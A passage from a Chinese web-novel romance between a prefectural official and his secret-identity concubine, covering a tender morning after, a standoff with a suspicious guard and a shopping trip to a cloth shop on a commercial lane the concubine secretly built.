他清了清嗓子,又道,“见你烧得难受,我只能抱着你睡了一夜,卯时觉察你出了些热汗,已用干布为你擦去了……你现下可感觉好些了?”
陆宛一听,有些难以置信地偏过头,怔怔地看向梁蕴品。
大人竟会为了我……一夜未眠,
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还做了如此多的粗活?
他这是药性未清么,抑或一切只是南柯一梦?
“嗯?怎么每次……之后,都不爱说话呢?”
梁蕴品看着陆宛被折腾得有些苍白的脸和几近干涸的唇,忍不住用指侧抚了抚他的嘴角,露出罕见的和煦的笑,“累了便再歇会儿吧,不急着起身。”
“不,不累……”
陆宛有些贪恋梁蕴品的抚摸,脸不自觉蹭了蹭那根手指,羞涩道,“被大人抱着出了汗,热度已然退了,不打紧。”
“嗯。”
梁蕴品点点头,收回手,陆宛眸中闪过一抹失落,却在下一瞬亮了起来。
梁蕴品将掌心按在了他的额头上。
心跳骤然加速,毫无血色的脸浮起淡淡的绯色,陆宛只觉梁蕴品的手十分温凉,舒适得叫人依恋。
“还是有点热。”梁蕴品下了定论,抬头看了眼窗外的日头,“这几日你便在房中好好休息,小满过后,日头渐毒,别晒伤了。”
陆宛乖顺地点点头,又顺着这股晕劲,有些放肆地摩挲着梁蕴品的掌心。
梁蕴品嘴角一勾,又想起城南那只幼犬,陆宛和它一样,希冀的眼神很亮,依偎的动作却是黏黏糊糊的,叫他舍不得撒手。
他忽然凑过去,搂住陆宛的后背,将那一把弱骨整个拢进自己怀里。
“昨夜……你同我说的话,都是真的吗?”
梁蕴品边问边收拢了掌心,他期待陆宛的答案,又惧怕他什么都忘了,却在话音刚落时听到陆宛斩钉截铁的回答,“是。”
“无论大人变成何样,我始终与大人站在一处。”陆宛将头埋在梁蕴品怀中,眼神无比坚定,心中默默为这句话加上了缀词——永不背叛,生死相随。
梁蕴品的手很轻地颤了颤,手上的劲却更紧了,“……为什么?”
为什么……
陆宛从未想过梁蕴品会问这个问题,登时愣了愣。
可没等他想好措辞,梁蕴品便自顾自否决了自己的寻根究底,“罢了,不重要。”又期期艾艾道,“你……还有什么话,想对我说的么?”
陆宛眸光一动,默默抿紧了唇。
他想说的太多,却没有勇气说出口,至少在今日,在梁蕴品似乎对自己有所动心的此刻,他不想亲手戳破这场幻梦。
就当是一场善意的欺骗罢……骗他,也骗自己。
见陆宛摇摇头不说话,梁蕴品也沉默了半晌,忽而低低地笑了笑,在陆宛耳后落下生涩的一吻,松手起身。
“我得去上值了,你再歇会儿吧。”他披上衣袍,顿了顿,又道,“往后我只要回府,每日……都来陪你用饭。”
17. 17.真心
吱呀——”
房门一开,飘着金雾的阳光顿时洒了梁蕴品一身。
梁蕴品回身掩上门,向外走出几步,见院中满地狼藉,不禁想起昨夜的放肆,神情略略有些不自在。
好在院内清理的女使和杂役并不多,几人在亭间和池边各忙各的,水声拉杂,压根没听见身后的动静,而昨晚相持不下,针锋相对的三人此刻竟都不在院中,叫梁蕴品面露困惑。
他环视一周,皱着眉正欲发问,骤听得两道风声自斜上方响起,一眨眼两道身影轻盈落地——沙卓还是那副鬼见愁的样子,面无表情地冲他抱拳问安,阿生则面色惨白,只虚抬了抬手,朝他草率地行了个礼。
“你们……”梁蕴品有些难以置信地看了看上面,“一直在偏厅的房顶?”
“……”
沙卓不知作何回答,阿生则压根不想回答,只自顾自问道,“大人,我家少爷醒了么?”
“若是醒了,小的便该挑一桶热水来,为他洗漱一番才好。”阿生语气冷淡,甚至带了一丝埋怨,“池水污浊,恐有伤我家少爷身子,还请大人怜惜。”
梁蕴品的脸色一下变得很难看,他抬眼直视阿生,对上阿生怨气冲天,毫不回避的视线,一时竟不知该说些什么,只能沉默着抿了抿唇。
“诶,大人醒啦!”
一心扬着笑,自院门口三步并作两步跑了过来,打破了这诡异的沉默,见气氛古怪,他想也不想便拉下脸,扭头对着沙卓劈头盖脸一通输出,“你这人怎么回事?大人才刚醒,阎王催命也得看时辰吧!”
沙卓:“……”
“你卯时说听到动静,非要上屋檐,我让你上了没?”一心见沙卓不说话,更笃定是他的错,“你多等一会儿是会死吗?哎我这臭脾气我……”
“……不是他,是我。”
阿生见一心越说越不像样,抬手按住一心的小臂,撇撇嘴,“是我想为我家少爷清理一下,以免池水中的污糟之物脏了少爷的身子。”
“呃,这……”
梁蕴品也听不下去了,重重咳了一声,道, “不必去了。”
“卯时你们听到的动静,就是我在为祁公子擦洗身子。”
此言一出,三人皆是一怔,颇有默契地将目光聚焦于梁蕴品身上,只见他神色自然,眸光却有些躲闪,冲着庭院的方向张望数下,又回过来看着阿生,眼神中带了些忌惮。
“他有些发热,此刻还在休息。”梁蕴品道,“若无大事,便不必去打扰他了。”
阿生皱起眉,从梁蕴品的话中莫名感受到一丝敌意,却不知这感觉从何而起,只能垂下眼妥协道,“那……小的一会儿去请府医来开些药,再烧些热水和吃食,等少爷起身后再进去伺候吧。”
“嗯。”
梁蕴品颔首,拧头看向一直杵立一旁的沙卓,“你还要带走他们吗?”
沙卓顿了顿,拱手压身,“请大人三思,一日未查明祁公子身份,通判府一日便存在隐患。”
“隐患……”
梁蕴品背起手,微微眯起眼,居高临下地看着他。
夏日的燥热在盈蕖馆内升腾,叫每个人额角都沁出了细密的汗珠,良久,梁蕴品叹了口气。
“若我以头顶乌纱为他担保,你可否就此作罢,放他一马?”
“什……”
一心倒吸一口凉气,沙卓与阿生更是瞳孔一震,所有人的眼底都直白地映出四个字——难以置信。
屋内传出了“咯吱”一声轻响,仿佛是床榻上的红木架不堪重荷,发出了细微的晃动。
“大……”
“大人!”一心抢在沙卓开口前挤到梁蕴品面前,背对他人阻隔了全部的视线,用低得几乎听不清的气声急急劝说道,“您若是执意要保祁公子,沙卓能奈你何?您何必要……”
梁蕴品拨开一心,目光扫过满脸震惊的阿生,定在已经跪倒在地的沙卓脸上。
“我知你不会放弃规劝,我说此话也并非赌气,或是为着父亲的缘故高看你几分。” 梁蕴品道,“我只想叫你看清我的决心。”
“从今往后,若我不在府中,府里一应事务须听从祁璐的吩咐,包括你的人。若你和你的人胆敢私下对他们主仆二人动手,无论是何缘由,我都会将你五人一并处置。”
“可是——”
沙卓拱手昂头,想要再说些什么,却被一心不轻不重地踢了一脚。
一心蹲下身,以一个齐平的姿态挡在沙卓面前,脸色突然变得极为认真,“沙卓,大人已将话说得十分清楚,再纠缠不休,便不是你该做的事了。”
“咱们各退一步,你放过他们俩,这府里的其他人任你查个够,我亲自来协助你们,成不成?”
沙卓脸色铁青,目光在一心和梁蕴品之间徘徊来去,最后定在一步之遥的阿生脸上。
阿生目光有些呆滞,似乎还未从那句震耳欲聋的话中走出来,他眨眨眼,偏头暼了眼内室,眸中似乎流露出一丝欣慰,还有半分确幸。
“怎么说,行还是不行?”一心面色不霁,却依然好言相劝,“好歹给大人一个面子,也给你手下的弟兄们一条活路,对吧?”
沙卓目光转回一心身上,嘴唇动了动,最终还是将头垂了下去。
半晌,一个沉闷的声音自他喉间挤出来,“属下,领命。”
梁蕴品狠狠舒了口气,点点头,拂袖回身,“替我更衣,我要上值去了。”又刻意停下,偏头强调了一遍,“你们二人同我一起去。”
“是!”
“你是什么是……大人,我昨夜为了守着这一根筋,可是一夜没睡呢大人,大人……”
一心哭着嚷着,与阿生擦肩而过时悄悄往他手中塞了个玉瓶,不等他有所反应便追了出去,沙卓从容起身,冲阿生草草行了个平礼,随即面无表情地离开。
阿生擎等着沙卓走远后才抬起手——竟是一瓶补中益气丸。
呵……原来是去府医那儿拿药了,怪不得扔下我与沙卓单独相处,在屋檐上互相看不顺眼。
阿生将那白玉瓶子放在手中把玩良久,随即露出一抹淡笑,收起药转身便进了小厨房。
-
帘子一撩,一碗香喷喷的豆浆和一碟子白玉方糕端端正正地放置在托盘上,阿生单手稳稳地把持住托盘,沿着长廊快步走进陆宛的内室。
“怎地还去做了朝食?”
陆宛披头散发地站在床前,身上还穿着中衣,一旁的衣柜却空了,床上铺满了各色各样的衣袍。
陆宛正执一件湖蓝色的苏绣真丝袍子在身上比划,又焦急又苦恼道,“快来帮我选件衣服,早知当初要来通判府,我便多带几件好看的出门了。”
“来了,少爷。”
阿生放下朝食,走到陆宛身旁替他挑选衣料,脸上却无多少欢喜,“梁大少爷真能折腾人,上次把您折腾成那样,也就让您在家歇息了三日,这高烧刚刚才好全乎,又得出门遛弯儿,真是难伺候。”
“阿生,你知道我是欢喜的。”
陆宛放下湖蓝,又拿起一件碧玉绿,脸上露出久违的笑容,“那日他应承我要每日陪我用饭,却不料整整忙了三日都没回府……许是觉得亏欠了我,要做些什么来补偿我吧~”
说着他别过头,抬手点了点阿生的眉心,唇角一勾,“好阿生,你别苦着脸了,咱们开开心心地出门,四处逛逛不好么?自从回到襄州,我还没出过通判府这道大门呢,这次终于可以去逛个新鲜了~”
“哎,好是好……”
阿生从床头随手找了只飘色花的绿翡簪子,往陆宛头上一比,示意他这样的搭配不错,“可我心里总没底得很……少爷,您说梁大少爷,这算是喜欢上您了吗?您这算是……得偿所愿了吗?”
陆宛还拎着衣服比划着,闻言顿了顿,脸上的笑顷刻淡了三分。
“我不清楚,阿生。”
陆宛选定衣裳,开始将襕衫,外袍一层层穿上身,“那日我在房中听见,他说要用乌纱帽作保,保我身世清白……你可知我心有多慌?”
“这不都是大实话么?”阿生替他整理衣衫,面露不解,“依我看,少爷您对梁少爷的心天地可昭,他就该信您,敬您,喜欢您才是!”
“傻瓜,天底下的‘喜欢’哪有这么触手可得,更别提信任与敬重了。”
陆宛穿上最后一层,坐在窗前由着阿生为他束发添簪,在镜中浮出一个无奈的笑,“况且我终究是骗了他,他如今越信我,我越觉得心中有愧,若有一日叫他知晓了真相……只怕是连最后一丝敬重也无了。”
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“这怎么能算欺骗呢?”
阿生撅着嘴,用篦子蘸了点调了荷花蜜的香油,将发髻上的飞丝轻巧地藏进去,瞧着镜子与陆宛对话,“明明是您主动献身救他于水火!被吃干抹净的是您,畏首畏尾的也是您,您心也是他的,人也是他的,到头来您还亏欠上了,天底下哪有这样不讲理的……”
陆宛瞧着阿生的抱怨十分有趣,忍不住抿唇一笑,“好了好了,大人马上就回来了,那些吃食你同我一起用些,咱们便到门口相迎吧。”
“哦……”
一晃眼,日头便往上爬了一竿。
陆宛和梁蕴品同车而往,起初还有些羞赧,揪着衣角不敢看他,可车才开出一里路便发现——他晕车了。
“身子不舒服?”
梁蕴品目不斜视,却不知哪来的通感,竟在陆宛觉察不妥的下一瞬扶住了他的肩,“是不是上次……尚未恢复?”
“不是,已经恢复了的。”陆宛抬起眼,有些尴尬地看着心上人,喉间强抑着想要呕吐的欲望,“只是有些……晕车。”
“晕车?”
梁蕴品思索了片刻,“那从湖州到襄州,这一路——”
“那时没有!也不是时刻都晕的……”
陆宛怕梁蕴品看出自己强撑,露出一个安抚的笑,“也许是晨起朝食吃多了,现下有些反胃罢了,不打紧,一会儿便好了。”
梁蕴品定定看着陆宛的眼睛,倏忽问道,“会骑马吗?”
陆宛眼皮一眨,“会。”
父母知他晕车,从来出行只让他骑马,兄弟姊妹们也都会骑,陆家人浩浩荡荡出游,车上往往只坐着父亲和母亲。
“好,那便下车。”
梁蕴品抬起帘子唤停车马,着一心来到马车跟前,“把马给我,你上车。”
“嗯?”一心脸色骤变,瞳孔中透露着震惊,“大人是要小的同祁公子一起坐车?这,为什么不是阿生啊……小的,我……”
“……脑子不好就去濯莲池洗洗。”
梁蕴品眉心微蹙,却见陆宛抬手,笑容隐于袖后,顿觉心中松快不少。
“你下马,我同他一齐骑你的马。”梁蕴品掐了掐眉心,“这么说能明白了吗?”
“不能!”一心委屈大喊,“为什么不骑阿生的?”
“你的马最好。”
“那沙卓和其他人的呢!”
“……你要我把上一句重复几遍?”
“那,那……”一心不管不顾,“那大人需不需要两匹马?我想要阿生也进上车陪我……”
阿生眼角一抽,陆宛与梁蕴品却是一愣,彼此对视一眼又心照不宣地撇开,梁蕴品清了清嗓子,眼中射出小心思被拆穿了的不爽,“你若再吵,便也不用上车了。”
“要么滚下来,跟在车马后面跑过去,要么独自一人乘车。你选一个。”
“……”一心欲哭无泪,“我选后者……”
二人终于如愿同乘一骑,一心也不敢进车里坐,一屁股坐在车夫旁陪他赶车,几人就这么晃晃悠悠,走走停停,五里路走出了十里路的阵势。
行至街市前的马厩,坐在梁蕴品身前接受街坊邻里目光的陆宛已是两颊通红,眼皮默默耷拉着,目光躲闪。
“马只能到这,下来吧。”
梁蕴品翻身下马,窥见陆宛羞臊的表情,心中一怔,嘴边顿时漾开一抹浅笑。
他抬起手,握住陆宛揪在马鞍上的冰凉的手指,温柔地捏了捏,“从前是我太忙,没顾上带你出来,往后咱们得空便出来逛逛,老百姓见多了,也就不会嚼舌头了。”
又道,“襄州景色清奇,与京城和江南水乡不同,别有一番风味,你平日无事,也可出来走走,不必闷在家中等我。”
陆宛看着梁蕴品诚挚的目光,心跳骤然加速,他莫名想起那日白头庄庄头同他说的,哪位大人的男妾进门没多久便四处晃悠,衣物行头都得自己购置,仿佛妾室外出是十分丢人现眼的一件事。
可若能与梁蕴品同游……不管在他人眼中好与不好,在他心中都是极好的。
他绽出一个实心的笑容,就着梁蕴品的搀扶下了马,手自然而然地同他牵到一处,二人像一对寻常的夫妻,在早市热闹的人流中漫步,一同朝街市主道走去。
18. 18.官人
一心抱着两件外袍,挂着笑眯着眼跟在两个主子后头,时而凑到阿生跟前交头接耳,时而整个人靠在阿生身上,随即收获一个佛山无影脚。
沙卓则领着几个府卫殿后,如同鹰隼般时刻留意着四周的动静。
-“哟,梁大人带人来帮衬咱们啦~新鲜出炉的豆腐面要来一碗吗?”
-“今日用过了,谢谢,生意兴隆。”
-“通判大人又来看咱们啦,还带了个俏生生的哥儿,啧啧,快,二位尝尝我媳妇儿今早给我打的冰豆花,可甜可嫩了!”
-“客气了张大哥,您留着吃,解解暑。”
-“梁大人好!”
-“通判来啦~”
……
行至街市入口,陆宛眉眼微垂,脸上却堆满了笑意,他在马上瞧不分明,总觉得万众瞩目如坐针毡,可现下看到街坊们好奇又和善的眼神,心中压着的大石骤然落了地。
他心知,他们以礼相待不仅仅是看在梁蕴品的,面子上,更是民风开化,自身淳朴所致,心中不由得腾起一股暖意。
“大人职掌州事,刺促不休,却能与襄州百姓闲话家常,水乳交融,足见大人拳拳爱民之心。” 陆宛想着,便把心里话说了出来,“若我朝官员都如大人这般体恤民情,大邹百业昌盛,国富民强,也不过在弹指之间。”
梁蕴品被陆宛夸得脚步一乱,索性停下身,回头定定地看着他。
“大人怎地……这般看着我?”
陆宛还是不习惯与梁蕴品过久地对视,下意识偏开头,却听得梁蕴品短促地笑了声,问他,“说来,你为何还叫我‘大人’?”
“嗯?”
陆宛有些困惑地看向梁蕴品,如桃花般粉嫩的唇翕动两下,却没出声。
梁蕴品视线下移,又盯着他的唇看了一小会儿,突然压低嗓子来了一句,”你若是需要些提醒,那夜你仿佛喊了我一声——梁大哥。”
“……”
陆宛很轻地吸了口凉气,眸中闪过一瞬慌乱,眨眨眼将视线移向他处。
该死,大概是一时烧糊涂了,忘了避嫌。
“你若不想叫那个,也无妨,我也觉得那个生疏了些。”
梁蕴品看着陆宛窘迫的神情,竟暗自露出些许得意,回头看向热闹非凡的街市,“或许……叫‘官人’会不会更顺口些?”
“官……官人?”
“嗯。”
陆宛本是没听清,结结巴巴地重复了一遍,没想到梁蕴品竟脆生生答了,吓得他下意识松开手,似被惊雷重击般愣在原地。
“大人……莫要捉弄我了。”
堪堪缓过神,陆宛颔首垂眸,唇边擦过一抹苦笑,“此乃正室娘子对家中主君的称谓,我怎好逾矩……”
梁蕴品背过手,蜷起空落落的手指,想也知道陆宛此刻的心情,故而并未强求,“那便随你~走吧,咱们进去逛逛。”
“……是。”
陆宛轻轻舒了口气,内心却闪过一瞬失落,他没想到梁蕴品只是同自己玩笑,暗斥自己一惊一乍草木皆兵,走出几步又开始懊恼。
方才如此好的氛围被自己轻易毁去,连梁蕴品的手也不好再握上去了。
想到此处,他眼神一暗,有些沮丧地朝周边瞥去一眼,却意外发现——这竟是通判府东侧五里外的那条街。
他太久没回来了,这条街早已改头换面,与两年前刚落成时截然不同了。
阿生走着走着也觉着眼熟,借着躲开一心的步子连连向前,快步行至陆宛身侧低声道,“少爷,这里是……”
“这就是襄州大名鼎鼎的舒志巷!祁公子与阿生听府里众人提起过,对不对?”
一心像只摆脱不掉的跟屁虫,从阿生身侧猛地蹿了出来,冲俩人笑着眨了眨眼,又被阿生的眼神逼退半步,一抬手指向舒志巷的尽头。
“我听人说,此巷名源于《楚辞》——‘遭周文而舒志’,意在得遇圣明君主,方可舒展志向,是一条寓意很好的街市。”
一心笑得恣意,像只刚睡醒的花豹般精神十足,“咱家大人得空就来这逛,有时小酌抒志趣,有时品茶观众生,实在是——哎哟!”
“实在是惯坏你了。”
梁蕴品不知何时停下步伐,等着三人越过他时用指节猛地叩了叩一心的脑瓜,顺手从一侧牵走了陆宛,将纤长的手指拢了拢,藏进手心里。
“你这么能说会道,何不说说我为何喜欢这条街?”
“嘶——说就说,大人您别小瞧我!”
一心摸着后脑勺,努起嘴道,“小的虽然是鹦鹉学舌,但记性可不差!大人您说过,这巷子原也是条商业街,但早期鱼龙混杂,同其他街市并无差别,直至您上任前,一位来头不明的富户盘下了一整条街,花大心思大功夫改造,才有了今日这般‘乱中有序,百花争艳’的模样,故而叫人流连忘返!小的没记错吧~”
“呵,跟了我这么久,若连这点事都记不住,要你何用?”
梁蕴品瞥了眼满脸不服气的一心,嘴角弧度更大了些,指着前方不远处的几家铺子道,“那你再以这些布坊为例,说说,何为‘乱中有序,百花争艳’?”
“呃,这……”
一心停下步子,转动眼球露出尴尬的神色,一边念叨着“你又没说过我怎么会记得”,一边冲阿生暗暗使了个眼色求助,却见阿生将头撇了过去,活脱脱一副“你看不见我我看不见你”的绝情模样,直教他恨不得将“心碎”写在脸上。
梁蕴品也停下脚,弯眼看着两人互动,目光却不自觉落到陆宛身上,他忽而想到那日,陆宛在自家后院四两拨千斤,将那庄头的骗术步步瓦解,智勇双全刚柔并济的模样,心头骤然涌起一股痒意。
他将人拉到自己跟前,在一心和阿生的吵吵闹闹中放轻语气问,“你从前虽久病家中,但到底是商贾出身,耳濡目染。不如……你来看看?”
见陆宛不解,他又道,“若能拆解舒志巷门庭若市的经营之道,再因地制宜进行调整,使其不耗费大量银钱便可用于其他街市的改造……我同襄州城的百姓,都会感激于你的。”
“……”
陆宛抿了抿唇,头一回感到啼笑皆非。
若他早知道自己对梁蕴品用处甚广,当年就不会在他上任后匆匆离开,哪怕以一个幕僚的身份待在他身旁,只要能每日近距离看着他,自己应当也是知足的。
可天意将他们二人重逢的场合彻底改变,阴差阳错,他成了他的外室,丢了自己的姓名,却拥有了比幕僚更亲近的身份。
陆宛嘴边渐渐浮起一个笑容——也罢,上天若再叫他选一回,他也会选如今这个不明不白的身份,至少他此刻真正拥有着他。
陆宛抬起头,与梁蕴品温柔的目光对上,认真道,“好。为大人分忧,祁璐义不容辞。”
几人拾阶而上,梁蕴品领着陆宛进了第
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一家布坊。
此布坊名为“云衣坊”,坊中采买布料者不少,有两三位一看便是大户人家的夫人,仆奴丫环们济济一堂,叫为数不多的几位伙计忙得团团转,一时间竟未察觉有人进来。
陆宛扬起头,凝神细细打量着云衣坊两年间的变化,起初他为舒志巷西市这几家布坊定下的目标便是拢住襄州的富户,因而这几家进料成本极高,料子也大多是奢华贵气的款式。
但云衣坊与其他门面略有不同——这是他为梁蕴品的喜好量身定制的,唯一一家花色偏素,但料子极顶的一等布坊,其铺面放眼望去开阔敞亮,气派无双,寥寥货架上整齐摆放着从川峡四路来的上等丝绸,镂金铺翠,光彩夺目。
梁蕴品跟在陆宛身后半步,抿起唇默默注视着他的侧颜,忽觉陆宛认真起来确实同平日里大相径庭。
平日他或笑眼弯弯,或是十分深情地注视着他,又或是在榻上,他在自己的欺负下露出过渴求的,疯狂的,纵容的,甚至溺爱的眼神,却没有一刻像如今这般直白严肃,平和中藏着锐利的光。
“咳咳,这铺子怎么回事,连个接待的伙计都没有。”
眼见几人进店许久还没人招呼,阿生率先耐不住了——此前陆宛忙于打理陆家产业,将舒志巷的一半活计分到了他手中,还手把手教他理账管人,没想到才过半年,自己打理的云衣坊便落得一个“怠慢客人”的坏名声,还是陆宛亲见亲历,真可谓狠狠地下了他的面子。
“来了来了,哎呦可忙死我这把老骨头了,贵客息怒!这阵子店里忙,我刚刚……诶,是梁大人?”
一串连珠炮似的叫唤自身后响起,众人纷纷回头,梁蕴品的目光与云娘对上,嘴角浮起一个疏离而不失礼节的笑,“是我,叨扰云掌柜了。”
“哎呦!瞧您说的!”云娘一拍大腿,歉疚的神色瞬间转为谄媚,“什么风把大人您吹过来了?您想要什么,托人来喊我一声,我给您送上门就是了,天气热,您何苦走这一遭~”
“今日休沐,出来走走,顺便过来瞧些新料子,给我家这位做几身新衣服。”
梁蕴品这话说得稀松平常,却叫在场众人纷纷惊掉了下巴,陆宛猛然抬头看向梁蕴品,却只能从侧后方穿过颈间窥见他棱角分明的下颌,与上方嘴角若隐若现的一抹微笑。
“哟!梁大人成亲了?什么时候的事啊,恭喜恭喜!”
云娘忙不迭道喜,却听梁蕴品笑笑说,“尚未成亲,等有好消息,一定请你吃酒。”
“啊?那‘家里这位’是……”
云娘瞪大双眼,这才瞧见梁蕴品高大的身影后,还藏着一位贵气逼人,风姿玉骨的公子,她登时反应过来——“家里那位”不是旁人,正是传闻中,梁大人金屋藏娇的那位外室!
可这外室看着,怎么有些眼熟呢……
云娘尴尬地谄笑着,朝前走了数步,终于绕开面如罗刹的府卫,得见那外室的全副面孔,可只消一眼她便愣住了,眼底一点一点涌现出惊喜之情。
他是……
“小东——”
“家”字尚未出口,便见得那眉目如画的男子眸间骤然闪过一瞬不悦,春风和煦顷刻化为刺骨之寒,自云娘脊背寸寸升起,不消一会儿便爬遍了她的四肢,叫她如坠冰谷。
“小东……什么?”
梁蕴品笑意不减,视线在陆宛和云娘间打了个来回,“云掌柜同我家这位,难道有什么渊源不成?”
19. 19.东家
“呃,渊源……没,没什么渊源,我,我认错了哈哈,认错了……”
云娘勉强挤出一个笑容,但心中如坠重石,她知道小东家不轻易生气,自己定是坏了他的事才得了那样的眼神,恨不得当场扇自己没遮没拦的嘴。
但后悔也没有,现在应当及时挽回局面才是。
她眼神一动,讪笑着给自己找补道,“是云娘糊涂了,错将贵人当成了我家远房表弟晓东……可细细一看,贵人可比我家那皮糙肉厚的表弟好看多了,跟个不食人间烟火的谪仙似的,当真是我冒犯了贵人!”
“哼,下次将眼睛擦亮些,没得叫人误会了,还以为堂堂云衣坊掌柜竟是那随意攀附的。”
阿生方才死死忍住自己闪身向前的冲动,生怕叫人看出破绽,此刻见云娘打圆场,终于忍不住说了一嘴,却叫一心搭住了肩膀。
“你生这么大气干嘛呀,”一心坏笑,“不就是认错个人么,想来祁公子也不会这么小气的。”
“你说得倒轻松,被认错的又不是你家大人。”阿生没好气地推开一心,眼睛却瞟向一直默不吭声的沙卓,“我们本就遭人疑心,掌柜的这么一喊,说不定,谁又往心里去了。”
“……”
在场无人回应,云娘也不敢吭声,额角冷汗一点点沁了出来,她垂着头暗自赔笑,直到陆宛一双脚站定在她跟前。
“不打紧,能与云掌柜的表弟有三分相似,也是缘分。”
陆宛早已收起那抹煞气,说话语气却是淡淡的,“那劳烦云掌柜替我挑一些料子吧,要时下最兴的,最好卖的,还要店中的招牌,以及最贵最好的料子。”
“我想多看几匹,仔细挑选挑选。”
“好,好!二位稍等,我这就去库房取料子,失陪~”
云娘忙不迭露出一个歉意的笑,转头看向身边女使,“素织,给二位客人看茶!”
“是!”
陆宛看着云娘离去时强自镇定的背影,不由得在心里叹了口气,同阿生隔空交换了眼色。
阿生不动声色地眨眨眼,趁着云娘同伙计抱着大匹小匹的料子进门时溜了出去,又极快回到店中,悄悄站到了正在认真选料的陆宛身后。
“诶,你小解去了?”
一心似将眼睛钉在阿生身上,甫一见他便贴了上来,用手肘撞了撞他的后腰,“怎么不叫上我?我也想去呢!”
阿生被吓了一跳,翻了个白眼,“……小解还要人陪,你当你几岁。”
“嘁,我那是怕你找不着路好吧~”
一心无语,又转了转眼珠子,“诶,话说在府里,我也从未在茅厕见过你,还有浴池子。”他又撞了撞阿生的腰,伏在他耳旁低声道,“大人把偏厅后面的两处小温泉留给咱们沐浴了,这事你知道吗?”
“啧,离我远些……”阿生躲开一心的触碰,被那阵暖风扰得心神不宁,草草应道,“知道,但不想去。”
“为何?”
一心来了兴致,追问道,“那小温泉虽跟大人院子里的没法比,可也够用了。忙活一天到那泡一泡,顿时神清气爽,可解乏了。”
“我不乏,无需解乏。”
阿生不想再浪费精力同一心周旋,躲到了陆宛身侧,只见陆宛挑挑拣拣,看似在问料子,实则却旁敲侧击,问了许多铺面经营的问题,心中有些忐忑。
所幸云娘离去一遭似乎平静了不少,眼下又恢复了见人说人话见鬼说鬼话的机灵劲,话也答得天衣无缝,叫陆宛连连点头,
“今日受教了。”陆宛轻轻抚过一匹素缎,“原来一匹布料也有如此大的学问,多谢云掌柜指点。”
“诶,公子太客气了!”云娘抬袖遮唇,吃吃一笑,“今日能得一对神仙眷侣大驾光临,可是让小店蓬荜生辉呢~这点小事,不算什么,不算什么~”
“云掌柜真是女中豪杰~”陆宛微微一笑,放下手中布匹,像个托大拿乔的破落户般装模作样道,“只是这些料子贵则贵矣,样式却普通,没有合眼缘的。”
“我同大人再多逛几家罢,日后若有新货,定来多多帮衬。”
“呃……好!”云娘一怔,不知陆宛葫芦里卖什么药,反应却极快,“那我送送二位,贵客慢走!”
“嗯。”陆宛抬眼看向梁蕴品,冲他莞尔一笑,“大人,我们走吧。”
“嗯?这就走了?”
梁蕴品不知在想些什么,似乎刚刚才回过神,见陆宛问完就跑,微感惊讶,“没有喜欢的料子么?”
“……没有。”
陆宛本就不是为了买料子才进来,却忽然想到方才那匹软烟罗若是拿来做窗纱,或许能为梁蕴品遮一遮烈日。
他伸手扯了扯梁蕴品的袖子,指着那匹布低声道,“大人看这料子如何?若是扯下十数丈加以缝制,给大人的书房和内室添些帘子,想必也能在酷暑之日添一分清凉。”
“……用软烟罗,做帘子?”
梁蕴品微怔,嘴角浮起一抹浅笑,“你可知软烟罗难得,这上等的,轻如云雾的软烟罗更难得。”
“我自然知道。”不好的料子他又怎么会给梁蕴品用?
可看梁蕴品的神情,陆宛只觉着他是心疼银子了,故而急巴巴开口,“我来给大人购置便好,用我的钱,不用公中的钱。”
“哦,用你的钱……”
梁蕴品抿了抿唇,艰难忍住笑意,“你的意思是,要从那四百两中,拿出数十两换几个纱帐?”
“……”
陆宛这才反应过来,如今他手头“唯一”的财产只有四百余两,而其中四百两还是梁蕴品给的。
更要命的是,为了暗中传递家书,他在湖州便将银票存入了钱庄,此事他虽不曾主动告知,但也知晓——梁蕴品是不可能放过这个线索的。
他垂下眸子,白瓷般的脸颊飞上两朵红云,有些无措地露出一抹赧笑,叫人瞧着只觉有趣又心痒。梁蕴品收回愈发浓重的眼神,冲云娘笑了笑,“店里有多少上等的软烟罗,全包起来,送到通判府吧。”
云娘和陆宛皆是一怔,又听梁蕴品说,“还有,方才仿佛看了一匹雪缎,织了几朵荷叶暗纹的,说是贵店今夏的镇店之宝。”
梁蕴品大手一挥,“有多少匹,我全要了,一并送来吧。”
云娘很快反应过来,几道深深的笑纹在那张徐娘半老的脸上娇艳盛放,“哎呀,那料子同小公子是绝配啊!公子真是好福气,叫通判大人放在心尖上宠着,要什么给什么~我这就去张罗!”
“嗯,”梁蕴品道,“去吧。”
虽是一番阿谀奉承的话,却听得二人十分受用,叫陆宛涨红了脸,跟在梁蕴品身后亦步亦趋出了门,梁蕴品则将他的手窝在大掌中,嘴角扬起一抹止不住的笑意。
“大人,咱们不是来研究经营之道的么?怎么……怎么如此破费……”
陆宛虽心花怒放,到底没被喜悦彻底冲昏头脑,他扯了扯梁蕴品的手,露出一抹困惑,“况且,即便将软烟罗裁成帘帐,也无需如此大手笔,大人这是要……”
“你房中和院中还是素了些,若是能布置一些帘帐,或许能增色不少。”
梁蕴品这般说着,倏忽回忆起陆宛双手被衣带捆住,那副艳如桃李,恣情纵欲的模样,不由得脖子一红。
于是加快脚步,强行将脑海中一些不该有的想法拂了出去。
几人在舒志巷的布坊中进进出出,又买了好些东西,一眨眼便到了午时。
梁蕴品截停陆宛还要去下一家的步伐,指了指身后已经饿倒在阿生身上的一心,笑道,“先用饭。”
又道,“我是来同你逛街市的,别把自己当我的幕僚使唤。”
陆宛有些不好意思,被牵着安排到韵婉楼的雅座,侍卫和奴仆皆被梁蕴品打发到外间用餐,雅座中唯余他们二人坐在上座,一心和阿生侍奉左右。
“都坐吧,”梁蕴品抬手,给陆宛搛了一筷子鱼肚,“瞧着你二人再不进些东西,怕是要晕过去了,到时还不知道谁伺候谁。”
“谢谢少爷!”
一心二话不说拉着阿生坐在次席,腆着脸和主子们同桌分食,不亦乐乎,酒足饭饱时才想起方才梁蕴品布下的任务。
“唔……所以小的斗胆问一句,祁公子您对舒志巷布坊的谋划,有什么见解吗?”
“算不得什么见解,不过是一些眉目罢了。”
陆宛放下筷子,沉吟片刻道,“舒志巷分为东西两市,韵婉楼居中而立,上层是极尽豪华的大小雅间与能俯瞰整个襄州城的‘繁花望月台’,下层则是随性的堂食与茶寮,一主一次,一贵一平。”
“可以说自韵婉楼的布局,便可看出那位东家对舒志巷的编排。”
“啊?”一心被绕进去了,“一个食肆而已,怎么就关系到舒志巷的编排了?”
“蠢货。”阿生在一旁翻了个白眼,替主子补充道,“意思是东西市规划分明,既能满足官僚贵眷们精细奢靡的需求,也能照顾到咱平头百姓,还能叫东西两头互不干扰,彼此照应。这是要叫咱们自上而下,自内而外都把钱花在舒志巷里头,一分都外流不得。”
“咳咳——”
陆宛听阿生这般说着自己的筹划,不免脸热,嗔怪地瞟了他一眼。
